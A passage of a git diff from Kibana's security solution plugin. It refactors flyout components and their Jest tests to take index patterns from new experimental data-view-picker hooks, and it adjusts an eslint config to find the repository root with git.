'../components/entity_store/components/entity_store_error_callout'; @@ -173,7 +173,7 @@ export const EntityStoreManagementPage = () => { {!privileges || privileges.has_all_required ? null : ( <> - + )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/explore/.eslintrc.js b/x-pack/solutions/security/plugins/security_solution/public/explore/.eslintrc.js index cee2d528612a7..e8df76cf42c45 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/explore/.eslintrc.js +++ b/x-pack/solutions/security/plugins/security_solution/public/explore/.eslintrc.js @@ -68,19 +68,25 @@ // eslint-disable-next-line import/no-nodejs-modules const path = require('path'); +// eslint-disable-next-line import/no-nodejs-modules +const { execSync } = require('child_process'); + const minimatch = require('minimatch'); /** @type {Array.} */ -const RESTRICTED_IMPORTS = [ +const RESTRICTED_IMPORTS_PATHS = [ { name: 'enzyme', message: 'Please use @testing-library/react instead', }, ]; -// root directory of the project dynamically calculated -const ROOT_DIR = process.cwd(); -const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // e.g. ../../../../.. +const ROOT_DIR = execSync('git rev-parse --show-toplevel', { + encoding: 'utf8', + cwd: __dirname, +}).trim(); + +const ROOT_CLIMB_STRING = path.relative(__dirname, ROOT_DIR); // i.e. '../../..' /** @type {import('eslint').Linter.Config} */ const rootConfig = require(`${ROOT_CLIMB_STRING}/.eslintrc`); // eslint-disable-line import/no-dynamic-require @@ -114,7 +120,7 @@ for (const override of overridesWithNoRestrictedImportRule) { // Dynamic duplicates removal for all restricted imports const existingPaths = modernConfig.paths.filter( (existing) => - !RESTRICTED_IMPORTS.some((restriction) => + !RESTRICTED_IMPORTS_PATHS.some((restriction) => typeof existing === 'string' ? existing === restriction.name : existing.name === restriction.name @@ -125,7 +131,7 @@ for (const override of overridesWithNoRestrictedImportRule) { const newRuleConfig = [ severity, { - paths: [...existingPaths, ...RESTRICTED_IMPORTS], + paths: [...existingPaths, ...RESTRICTED_IMPORTS_PATHS], patterns: modernConfig.patterns, }, ]; diff --git a/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/details/__snapshots__/index.test.tsx.snap b/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/details/__snapshots__/index.test.tsx.snap index 53a9fa5b79a03..166b7657dee10 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/details/__snapshots__/index.test.tsx.snap +++ b/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/details/__snapshots__/index.test.tsx.snap @@ -248,7 +248,7 @@ exports[`IP Overview Component rendering it renders the default IP Overview 1`] > `; diff --git a/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/ip/index.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/ip/index.test.tsx index 8bf87268e5695..cccf37700e312 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/ip/index.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/explore/network/components/ip/index.test.tsx @@ -7,12 +7,33 @@ import { screen, render } from '@testing-library/react'; import React from 'react'; - import { TestProviders } from '../../../../common/mock/test_providers'; - import { Ip } from '.'; +import { createTelemetryServiceMock } from '../../../../common/lib/telemetry/telemetry_service.mock'; +import { mockFlyoutApi } from '../../../../flyout/document_details/shared/mocks/mock_flyout_context'; +import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; +import { useWhichFlyout } from '../../../../flyout/document_details/shared/hooks/use_which_flyout'; +import { NetworkPanelKey } from '../../../../flyout/network_details'; + +const mockedTelemetry = createTelemetryServiceMock(); +jest.mock('../../../../common/lib/kibana', () => { + return { + useKibana: () => ({ + services: { + telemetry: mockedTelemetry, + }, + }), + }; +}); -jest.mock('../../../../common/lib/kibana'); +jest.mock('@kbn/expandable-flyout', () => ({ + useExpandableFlyoutApi: jest.fn(), + ExpandableFlyoutProvider: ({ children }: React.PropsWithChildren<{}>) => <>{children}, +})); + +jest.mock('../../../../flyout/document_details/shared/hooks/use_which_flyout', () => ({ + useWhichFlyout: jest.fn(), +})); jest.mock('@elastic/eui', () => { const original = jest.requireActual('@elastic/eui'); @@ -25,6 +46,11 @@ jest.mock('@elastic/eui', () => { jest.mock('../../../../common/components/links/link_props'); describe('Port', () => { + beforeEach(() => { + jest.mocked(useWhichFlyout).mockReturnValue(null); + jest.mocked(useExpandableFlyoutApi).mockReturnValue(mockFlyoutApi); + }); + test('renders correctly against snapshot', () => { const { container } = render( @@ -44,16 +70,19 @@ describe('Port', () => { expect(screen.getByTestId('network-details')).toHaveTextContent('10.1.2.3'); }); - test('it displays a button which opens the network/ip side panel', () => { + test('it displays a button which opens the network flyout', () => { render( ); - - expect(screen.getByTestId('network-details')).toHaveAttribute( - 'href', - '/ip/10.1.2.3/source/events' - ); + const link = screen.getByTestId('network-details'); + link.click(); + expect(mockFlyoutApi.openFlyout).toHaveBeenCalledWith({ + right: { + id: NetworkPanelKey, + params: { ip: '10.1.2.3', scopeId: '', flowTarget: 'destination' }, + }, + }); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/explore/users/pages/details/index.tsx b/x-pack/solutions/security/plugins/security_solution/public/explore/users/pages/details/index.tsx index 0b467dfa1e9f5..8e02e44d1fdc5 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/explore/users/pages/details/index.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/explore/users/pages/details/index.tsx @@ -19,6 +19,7 @@ import { getEsQueryConfig } from '@kbn/data-plugin/common'; import type { Filter } from '@kbn/es-query'; import { buildEsQuery } from '@kbn/es-query'; import { LastEventIndexKey } from '@kbn/timelines-plugin/common'; +import { SourcererScopeName } from '../../../../sourcerer/store/model'; import { useIsExperimentalFeatureEnabled } from '../../../../common/hooks/use_experimental_features'; import { dataViewSpecToViewBase } from '../../../../common/lib/kuery'; import { useCalculateEntityRiskScore } from '../../../../entity_analytics/api/hooks/use_calculate_entity_risk_score'; @@ -263,6 +264,7 @@ const UsersDetailsComponent: React.FC = ({ narrowDateRange={narrowDateRange} indexPatterns={selectedPatterns} jobNameById={jobNameById} + scopeId={SourcererScopeName.default} /> )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/README.md b/x-pack/solutions/security/plugins/security_solution/public/flyout/README.md index f12169aef7fd3..6fe284b625aeb 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/README.md +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/README.md @@ -62,3 +62,5 @@ Here's a non-exhaustive list of the reusable component in the top-level `shared` - [FlyoutFooter](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_footer.tsx): wrapper of `EuiFlyoutFooter`, setting the recommended `16px` padding using a EuiPanel. - [FlyoutError](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_error.tsx): displays a `EuiEmptyPrompt` for error messages, correctly positioned and sized when used in at the panel level (not for individual components) - [FlyoutLoading](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_loading.tsx): displays an `EuiLoadingSpinner` component correctly positioned and sized when used in at the panel level (not for individual components) + - [FlyoutLink](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/flyout_link.tsx): displays a link to open a new flyout (right panel) or a preview flyout. This component should be used when you don't know if you need to open a right or a preview panel. + - [PreviewLink](https://github.com/elastic/kibana/tree/main/x-pack/solutions/security/plugins/security_solution/public/flyout/shared/components/preview_link.tsx): displays a link to open a preview panel. This component should be used inside a flyout component or it is certain that it should open a preview. \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.test.tsx index 58b96f19d919f..699dd4151ab18 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.test.tsx @@ -18,6 +18,8 @@ import { useWhichFlyout } from '../../shared/hooks/use_which_flyout'; import { mockFlyoutApi } from '../../shared/mocks/mock_flyout_context'; import { DocumentDetailsAnalyzerPanelKey } from '../../shared/constants/panel_keys'; import { useIsInvestigateInResolverActionEnabled } from '../../../../detections/components/alerts_table/timeline_actions/investigate_in_resolver'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSelectedPatterns } from '../../../../data_view_manager/hooks/use_selected_patterns'; jest.mock('react-router-dom', () => { const actual = jest.requireActual('react-router-dom'); @@ -29,6 +31,8 @@ jest.mock('../../shared/hooks/use_which_flyout'); jest.mock( '../../../../detections/components/alerts_table/timeline_actions/investigate_in_resolver' ); +jest.mock('../../../../common/hooks/use_experimental_features'); +jest.mock('../../../../data_view_manager/hooks/use_selected_patterns'); const mockUseWhichFlyout = useWhichFlyout as jest.Mock; const FLYOUT_KEY = 'securitySolution'; @@ -50,6 +54,10 @@ describe('', () => { beforeEach(() => { mockUseWhichFlyout.mockReturnValue(FLYOUT_KEY); jest.mocked(useExpandableFlyoutApi).mockReturnValue(mockFlyoutApi); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSelectedPatterns as jest.Mock).mockReturnValue(['index']); }); it('renders analyzer graph correctly', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.tsx index 91ef5636b257c..ef99352e1f5af 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/analyze_graph.tsx @@ -10,6 +10,7 @@ import React, { useMemo, useCallback } from 'react'; import { useExpandableFlyoutApi } from '@kbn/expandable-flyout'; import { i18n } from '@kbn/i18n'; import { EuiPanel } from '@elastic/eui'; +import { SourcererScopeName } from '../../../../sourcerer/store/model'; import { useWhichFlyout } from '../../shared/hooks/use_which_flyout'; import { useDocumentDetailsContext } from '../../shared/context'; import { ANALYZER_GRAPH_TEST_ID } from './test_ids'; @@ -19,6 +20,9 @@ import { isActiveTimeline } from '../../../../helpers'; import { DocumentDetailsAnalyzerPanelKey } from '../../shared/constants/panel_keys'; import { useIsInvestigateInResolverActionEnabled } from '../../../../detections/components/alerts_table/timeline_actions/investigate_in_resolver'; import { AnalyzerPreviewNoDataMessage } from '../../right/components/analyzer_preview_container'; +import { useSelectedPatterns } from '../../../../data_view_manager/hooks/use_selected_patterns'; +import { useSourcererDataView } from '../../../../sourcerer/containers'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; export const ANALYZE_GRAPH_ID = 'analyze_graph'; @@ -41,10 +45,18 @@ export const AnalyzeGraph: FC = () => { const isEnabled = useIsInvestigateInResolverActionEnabled(dataAsNestedObject); const key = useWhichFlyout() ?? 'memory'; - const { from, to, shouldUpdate, selectedPatterns } = useTimelineDataFilters( - isActiveTimeline(scopeId) - ); + const { from, to, shouldUpdate } = useTimelineDataFilters(isActiveTimeline(scopeId)); const filters = useMemo(() => ({ from, to }), [from, to]); + + const { newDataViewPickerEnabled } = useEnableExperimental(); + const { selectedPatterns: oldAnalyzerPatterns } = useSourcererDataView( + SourcererScopeName.analyzer + ); + const experimentalAnalyzerPatterns = useSelectedPatterns(SourcererScopeName.analyzer); + const selectedPatterns = newDataViewPickerEnabled + ? experimentalAnalyzerPatterns + : oldAnalyzerPatterns; + const { openPreviewPanel } = useExpandableFlyoutApi(); const onClick = useCallback(() => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.test.tsx index b3b129a75c13d..ca1dde090cfa8 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.test.tsx @@ -27,8 +27,9 @@ import { useFetchRelatedAlertsByAncestry } from '../../shared/hooks/use_fetch_re import { useFetchRelatedAlertsBySameSourceEvent } from '../../shared/hooks/use_fetch_related_alerts_by_same_source_event'; import { useFetchRelatedCases } from '../../shared/hooks/use_fetch_related_cases'; import { mockContextValue } from '../../shared/mocks/mock_context'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; import { EXPANDABLE_PANEL_HEADER_TITLE_TEXT_TEST_ID } from '../../../shared/components/test_ids'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; jest.mock('react-router-dom', () => { const actual = jest.requireActual('react-router-dom'); @@ -43,11 +44,8 @@ jest.mock('../../shared/hooks/use_fetch_related_alerts_by_session'); jest.mock('../../shared/hooks/use_fetch_related_alerts_by_ancestry'); jest.mock('../../shared/hooks/use_fetch_related_alerts_by_same_source_event'); jest.mock('../../shared/hooks/use_fetch_related_cases'); - -jest.mock('../../../../timelines/containers/use_timeline_data_filters', () => ({ - useTimelineDataFilters: jest.fn(), -})); -const mockUseTimelineDataFilters = useTimelineDataFilters as jest.Mock; +jest.mock('../../../../data_view_manager/hooks/use_security_default_patterns'); +jest.mock('../../../../common/hooks/use_experimental_features'); const renderCorrelationDetails = () => { return render( @@ -68,7 +66,12 @@ const NO_DATA_MESSAGE = 'No correlations data available.'; describe('CorrelationsDetails', () => { beforeEach(() => { jest.clearAllMocks(); - mockUseTimelineDataFilters.mockReturnValue({ selectedPatterns: ['index'] }); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSecurityDefaultPatterns as jest.Mock).mockReturnValue({ + indexPatterns: ['index'], + }); }); it('renders all sections', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.tsx index 89a34701400d6..9100b6b6dc9e7 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details.tsx @@ -8,6 +8,7 @@ import React from 'react'; import { EuiPanel, EuiFlexGroup, EuiFlexItem } from '@elastic/eui'; import { FormattedMessage } from '@kbn/i18n-react'; +import { useSelector } from 'react-redux'; import { CORRELATIONS_DETAILS_TEST_ID } from './test_ids'; import { RelatedAlertsBySession } from './related_alerts_by_session'; import { RelatedAlertsBySameSourceEvent } from './related_alerts_by_same_source_event'; @@ -20,8 +21,9 @@ import { useShowRelatedAlertsBySameSourceEvent } from '../../shared/hooks/use_sh import { useShowRelatedAlertsBySession } from '../../shared/hooks/use_show_related_alerts_by_session'; import { RelatedAlertsByAncestry } from './related_alerts_by_ancestry'; import { SuppressedAlerts } from './suppressed_alerts'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; -import { isActiveTimeline } from '../../../../helpers'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; export const CORRELATIONS_TAB_ID = 'correlations'; @@ -32,7 +34,13 @@ export const CorrelationsDetails: React.FC = () => { const { dataAsNestedObject, eventId, getFieldsData, scopeId, isRulePreview } = useDocumentDetailsContext(); - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; const { show: showAlertsByAncestry, documentId } = useShowRelatedAlertsByAncestry({ getFieldsData, @@ -92,7 +100,7 @@ export const CorrelationsDetails: React.FC = () => { {showAlertsByAncestry && ( diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.test.tsx index d28d385f2dd43..91fbe7e08c678 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.test.tsx @@ -15,8 +15,8 @@ import { mockFlyoutApi } from '../../shared/mocks/mock_flyout_context'; import { mockContextValue } from '../../shared/mocks/mock_context'; import { DocumentDetailsPreviewPanelKey } from '../../shared/constants/panel_keys'; import { ALERT_PREVIEW_BANNER } from '../../preview/constants'; -import { DocumentDetailsContext } from '../../shared/context'; import { RulePreviewPanelKey, RULE_PREVIEW_BANNER } from '../../../rule_details/right'; +import { TableId } from '@kbn/securitysolution-data-table'; jest.mock('../hooks/use_paginated_alerts'); @@ -25,19 +25,17 @@ jest.mock('@kbn/expandable-flyout'); const TEST_ID = 'TEST'; const alertIds = ['id1', 'id2', 'id3']; -const renderCorrelationsTable = (panelContext: DocumentDetailsContext) => +const renderCorrelationsTable = (scopeId: string = mockContextValue.scopeId) => render( - - {'title'}

    } - loading={false} - alertIds={alertIds} - scopeId={mockContextValue.scopeId} - eventId={mockContextValue.eventId} - data-test-subj={TEST_ID} - /> -
    + {'title'}

    } + loading={false} + alertIds={alertIds} + scopeId={scopeId} + eventId={mockContextValue.eventId} + data-test-subj={TEST_ID} + />
    ); @@ -84,8 +82,7 @@ describe('CorrelationsDetailsAlertsTable', () => { }); it('renders EuiBasicTable with correct props', () => { - const { getByTestId, getAllByTestId, queryAllByRole } = - renderCorrelationsTable(mockContextValue); + const { getByTestId, getAllByTestId, queryAllByRole } = renderCorrelationsTable(); expect(getByTestId(`${TEST_ID}InvestigateInTimeline`)).toBeInTheDocument(); expect(getByTestId(`${TEST_ID}Table`)).toBeInTheDocument(); @@ -102,10 +99,7 @@ describe('CorrelationsDetailsAlertsTable', () => { }); it('renders open preview button', () => { - const { getByTestId, getAllByTestId } = renderCorrelationsTable({ - ...mockContextValue, - isPreviewMode: true, - }); + const { getByTestId, getAllByTestId } = renderCorrelationsTable(TableId.rulePreview); expect(getByTestId(`${TEST_ID}InvestigateInTimeline`)).toBeInTheDocument(); expect(getAllByTestId(`${TEST_ID}AlertPreviewButton`).length).toBe(2); @@ -116,7 +110,7 @@ describe('CorrelationsDetailsAlertsTable', () => { params: { id: '1', indexName: 'index', - scopeId: mockContextValue.scopeId, + scopeId: TableId.rulePreview, banner: ALERT_PREVIEW_BANNER, isPreviewMode: true, }, @@ -124,7 +118,7 @@ describe('CorrelationsDetailsAlertsTable', () => { }); it('opens rule preview when isRulePreview is false', () => { - const { getAllByTestId } = renderCorrelationsTable(mockContextValue); + const { getAllByTestId } = renderCorrelationsTable(); expect(getAllByTestId(`${TEST_ID}RulePreview`).length).toBe(2); @@ -140,7 +134,7 @@ describe('CorrelationsDetailsAlertsTable', () => { }); it('does not render preview link when isRulePreview is true', () => { - const { queryByTestId } = renderCorrelationsTable({ ...mockContextValue, isRulePreview: true }); + const { queryByTestId } = renderCorrelationsTable(TableId.rulePreview); expect(queryByTestId(`${TEST_ID}RulePreview`)).not.toBeInTheDocument(); }); }); diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.tsx index 8e288d0504d16..0bc8bf397cf93 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/correlations_details_alerts_table.tsx @@ -24,7 +24,6 @@ import { ACTION_INVESTIGATE_IN_TIMELINE } from '../../../../detections/component import { getDataProvider } from '../../../../common/components/event_details/use_action_cell_data_provider'; import { AlertPreviewButton } from '../../../shared/components/alert_preview_button'; import { PreviewLink } from '../../../shared/components/preview_link'; -import { useDocumentDetailsContext } from '../../shared/context'; export const TIMESTAMP_DATE_FORMAT = 'MMM D, YYYY @ HH:mm:ss.SSS'; const dataProviderLimit = 5; @@ -81,7 +80,6 @@ export const CorrelationsDetailsAlertsTable: FC>) => { @@ -174,7 +172,6 @@ export const CorrelationsDetailsAlertsTable: FC {ruleName} @@ -218,7 +215,7 @@ export const CorrelationsDetailsAlertsTable: FC = ({ hostName, timestamp, s refetch={refetch} inspect={inspect} deleteQuery={deleteQuery} + scopeId={scopeId} + isFlyoutOpen={true} /> )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/prevalence_details.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/prevalence_details.tsx index d2c90f43e1a5d..12295aeb4b645 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/prevalence_details.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/prevalence_details.tsx @@ -49,7 +49,7 @@ import { } from '../../../../common/components/event_details/use_action_cell_data_provider'; import { getEmptyTagValue } from '../../../../common/components/empty_value'; import { IS_OPERATOR } from '../../../../../common/types'; -import { hasPreview, PreviewLink } from '../../../shared/components/preview_link'; +import { PreviewLink } from '../../../shared/components/preview_link'; import { CellActions } from '../../shared/components/cell_actions'; import { useUserPrivileges } from '../../../../common/components/user_privileges'; @@ -116,31 +116,20 @@ const columns: Array> = [ 'data-test-subj': PREVALENCE_DETAILS_TABLE_VALUE_CELL_TEST_ID, render: (data: PrevalenceDetailsRow) => ( - {data.values.map((value) => { - if (hasPreview(data.field)) { - return ( - - - - {value} - - - - ); - } - return ( - - + {data.values.map((value) => ( + + + {value} - - - ); - })} + + + + ))} ), width: '20%', diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/user_details.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/user_details.tsx index 111dbad2eb4ac..bad77b8ef07db 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/user_details.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/left/components/user_details.tsx @@ -387,6 +387,8 @@ export const UserDetails: React.FC = ({ userName, timestamp, s userName={userName} indexPatterns={selectedPatterns} jobNameById={jobNameById} + scopeId={scopeId} + isFlyoutOpen={true} /> )} diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.test.tsx index 5527ce0de44bd..b97a7084d93cd 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.test.tsx @@ -9,12 +9,14 @@ import { render } from '@testing-library/react'; import React from 'react'; import { TestProviders } from '../../../../common/mock'; import { useAlertPrevalenceFromProcessTree } from '../../shared/hooks/use_alert_prevalence_from_process_tree'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; import { mockContextValue } from '../../shared/mocks/mock_context'; import { mockDataFormattedForFieldBrowser } from '../../shared/mocks/mock_data_formatted_for_field_browser'; import { DocumentDetailsContext } from '../../shared/context'; import { AnalyzerPreview } from './analyzer_preview'; import { ANALYZER_PREVIEW_TEST_ID } from './test_ids'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; + import * as mock from '../mocks/mock_analyzer_data'; jest.mock('../../shared/hooks/use_alert_prevalence_from_process_tree', () => ({ @@ -22,10 +24,8 @@ jest.mock('../../shared/hooks/use_alert_prevalence_from_process_tree', () => ({ })); const mockUseAlertPrevalenceFromProcessTree = useAlertPrevalenceFromProcessTree as jest.Mock; -jest.mock('../../../../timelines/containers/use_timeline_data_filters', () => ({ - useTimelineDataFilters: jest.fn(), -})); -const mockUseTimelineDataFilters = useTimelineDataFilters as jest.Mock; +jest.mock('../../../../data_view_manager/hooks/use_security_default_patterns'); +jest.mock('../../../../common/hooks/use_experimental_features'); const mockTreeValues = { loading: false, @@ -48,7 +48,12 @@ const NO_DATA_MESSAGE = 'An error is preventing this alert from being analyzed.' describe('', () => { beforeEach(() => { jest.clearAllMocks(); - mockUseTimelineDataFilters.mockReturnValue({ selectedPatterns: ['index'] }); + (useEnableExperimental as jest.Mock).mockReturnValue({ + newDataViewPickerEnabled: true, + }); + (useSecurityDefaultPatterns as jest.Mock).mockReturnValue({ + indexPatterns: ['index'], + }); }); it('shows analyzer preview correctly when documentId and index are present', () => { diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.tsx index fa0e3dd33b51b..02460b52877e4 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/analyzer_preview.tsx @@ -9,6 +9,7 @@ import { find } from 'lodash/fp'; import { EuiTreeView, EuiSkeletonText } from '@elastic/eui'; import { i18n } from '@kbn/i18n'; import { FormattedMessage } from '@kbn/i18n-react'; +import { useSelector } from 'react-redux'; import { ANALYZER_PREVIEW_TEST_ID, ANALYZER_PREVIEW_LOADING_TEST_ID } from './test_ids'; import { getTreeNodes } from '../utils/analyzer_helpers'; import { ANCESTOR_ID, RULE_INDICES } from '../../shared/constants/field_names'; @@ -17,7 +18,9 @@ import { useAlertPrevalenceFromProcessTree } from '../../shared/hooks/use_alert_ import type { StatsNode } from '../../shared/hooks/use_alert_prevalence_from_process_tree'; import { isActiveTimeline } from '../../../../helpers'; import { getField } from '../../shared/utils'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; +import { sourcererSelectors } from '../../../../sourcerer/store'; const CHILD_COUNT_LIMIT = 3; const ANCESTOR_LEVEL = 3; @@ -45,9 +48,16 @@ export const AnalyzerPreview: React.FC = () => { const ancestorId = getField(getFieldsData(ANCESTOR_ID)) ?? ''; const documentId = isRulePreview ? ancestorId : eventId; // use ancestor as fallback for alert preview - const { selectedPatterns } = useTimelineDataFilters(isActiveTimeline(scopeId)); + const { newDataViewPickerEnabled } = useEnableExperimental(); + const oldSecurityDefaultPatterns = + useSelector(sourcererSelectors.defaultDataView)?.patternList ?? []; + const { indexPatterns: experimentalSecurityDefaultIndexPatterns } = useSecurityDefaultPatterns(); + const securityDefaultPatterns = newDataViewPickerEnabled + ? experimentalSecurityDefaultIndexPatterns + : oldSecurityDefaultPatterns; + const index = find({ category: 'kibana', field: RULE_INDICES }, data); - const indices = index?.values ?? selectedPatterns; // adding sourcerer indices for non-alert documents + const indices = index?.values ?? securityDefaultPatterns; // adding sourcerer indices for non-alert documents const { statsNodes, loading, error } = useAlertPrevalenceFromProcessTree({ isActiveTimeline: isActiveTimeline(scopeId), diff --git a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.test.tsx b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.test.tsx index fe8a2c9e7160b..633aaa3a5a45d 100644 --- a/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.test.tsx +++ b/x-pack/solutions/security/plugins/security_solution/public/flyout/document_details/right/components/correlations_overview.test.tsx @@ -28,7 +28,6 @@ import { useShowSuppressedAlerts } from '../../shared/hooks/use_show_suppressed_ import { useFetchRelatedAlertsByAncestry } from '../../shared/hooks/use_fetch_related_alerts_by_ancestry'; import { useFetchRelatedAlertsBySameSourceEvent } from '../../shared/hooks/use_fetch_related_alerts_by_same_source_event'; import { useFetchRelatedAlertsBySession } from '../../shared/hooks/use_fetch_related_alerts_by_session'; -import { useTimelineDataFilters } from '../../../../timelines/containers/use_timeline_data_filters'; import { useFetchRelatedCases } from '../../shared/hooks/use_fetch_related_cases'; import { useNavigateToLeftPanel } from '../../shared/hooks/use_navigate_to_left_panel'; import { @@ -39,6 +38,8 @@ import { } from '../../../shared/components/test_ids'; import { useTourContext } from '../../../../common/components/guided_onboarding_tour'; import { AlertsCasesTourSteps } from '../../../../common/components/guided_onboarding_tour/tour_config'; +import { useEnableExperimental } from '../../../../common/hooks/use_experimental_features'; +import { useSecurityDefaultPatterns } from '../../../../data_view_manager/hooks/use_security_default_patterns'; jest.mock('../../shared/hooks/use_show_related_alerts_by_ancestry'); jest.mock('../../shared/hooks/use_show_related_alerts_by_same_source_event'); @@ -101,11 +102,8 @@ const renderCorrelationsOverview = (contextValue: DocumentDetailsContext) => ( const NO_DATA_MESSAGE = 'No correlations data available.'; -jest.mock('../../../../timelines/containers/use_timeline_data_filters', () => ({ - useTimelineDataFilters: jest.fn(), -})); -const mockUseTimelineDataFilters = useTimelineDataFilters as jest.Mock; - +jest.mock('../../../../data_view_manager/hooks/use_security_default_patterns'); +jest.mock('../../../../common/hooks/use_experimental_features'); jest.mock('../../../../common/components/guided_onboarding_tour', () => ({ useTourContext: jest.fn(), })); @@ -133,7 +131,12 @@ describe('', () => { 